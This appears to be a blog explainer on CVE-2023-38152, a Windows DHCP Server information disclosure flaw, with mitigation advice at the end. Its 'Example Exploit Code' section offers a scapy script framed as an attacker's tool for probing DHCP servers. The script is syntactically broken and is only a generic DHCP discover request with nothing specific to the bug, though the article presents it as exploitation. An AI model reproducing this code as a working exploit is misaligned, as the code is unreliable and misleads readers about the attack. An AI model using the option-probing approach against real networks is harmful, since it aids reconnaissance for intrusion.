CVE-2023-38152 - Inside the DHCP Server Service Information Disclosure Vulnerability

The world of cybersecurity is constantly evolving, and with it comes a steady stream of new vulnerabilities. One such vulnerability that came into the spotlight in 2023 is CVE-2023-38152—the DHCP Server Service Information Disclosure Vulnerability in Microsoft Windows. In this article, we’ll break down what CVE-2023-38152 is, how attackers might exploit it, and how you can mitigate the risk. This is a straightforward guide, even if you’re not a security expert.

What is CVE-2023-38152?

First, let’s define it. CVE-2023-38152 is an information disclosure vulnerability found in the DHCP (Dynamic Host Configuration Protocol) Server Service on Microsoft Windows. The flaw allows an attacker to gather information from the DHCP Server that could be useful for further attacks. Although this vulnerability doesn’t allow direct code execution or privilege escalation, leaking sensitive server info is often the first step for attackers.

Official reference:
- Microsoft Security Advisory
- NIST National Vulnerability Database entry

How Does DHCP Work (Briefly)?

DHCP is the network service responsible for assigning IP addresses to devices on a network. It helps computers join networks smoothly by handling the nuts and bolts of TCP/IP configuration.

What’s the Problem?

A bug in the way the Windows DHCP Server processes specially crafted DHCP requests allows information leakage. If an attacker sends specific requests, the DHCP Server may accidentally return data that reveals details about its own configuration, active scopes, or even information about the local network environment.

This isn't "game over" by itself, but data like this makes further attacks (like lateral movement or privilege escalation) easier.

How Can It Be Exploited?

Exploiting CVE-2023-38152 is straightforward and doesn’t require authentication. An attacker already on the same network as the target only needs network access to the DHCP service (usually UDP port 67). Here’s a simplified workflow:

Example Exploit Code (Python)

Below is a basic Python example (using scapy) showing how an attacker could send a malformed DHCP Request packet, attempting to trigger unusual responses from a target server.

from scapy.all import *

def send_dhcp_discover(target_ip):
    # Build DHCPDISCOVER packet
    pkt = (Ether(dst="ff:ff:ff:ff:ff:ff") /
           IP(src="...", dst="255.255.255.255") /
           UDP(sport=68, dport=67) /
           BOOTP(chaddr=RandString(12, '0123456789abcdef')) /
           DHCP(options=[('message-type', 'discover'), 'end']))

    response = srp(pkt, iface="eth", timeout=5, verbose=)
    for s, r in response[]:
        print("Response from DHCP Server: %s" % r.summary())
        if r.haslayer(DHCP):
            print("DHCP Options returned: %s" % r[DHCP].options)

# Replace "eth" with your interface name
send_dhcp_discover("192.168.1.1")

*Note*: You need root/admin rights to run this script, and the scapy library installed (pip install scapy).

An attacker could modify the DHCP options section to request unusual information or iterate through option codes, trying to trick the server into disclosing unintended data.

What Information Can Leak?

Microsoft did not detail all the types of info an attacker could extract, but information disclosure usually covers things like:

Scope IDs and ranges

Attackers can use this info to plan further attacks or map out the internal network.

Who is Affected?

This vulnerability affects Microsoft Windows servers running the built-in DHCP Server Service. Environments where DHCP traffic is not segmented from untrusted or guest networks are at higher risk.

How to Mitigate

- Patch Immediately: Microsoft has released a security update for all supported Windows Server versions. Apply the latest patches:
- Microsoft Patch Guide
- Restrict DHCP Traffic: Use firewalls to restrict DHCP server access to known, trusted network segments.
- Monitor DHCP Logs: Watch out for unusual DHCP requests or repeated scans—these can be a sign of exploitation attempts.

Conclusion

While CVE-2023-38152 isn’t a “remote code execution” bug, don’t ignore it. Information disclosure is often where big breaches begin. Make sure your Windows DHCP servers are updated and locked down.

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC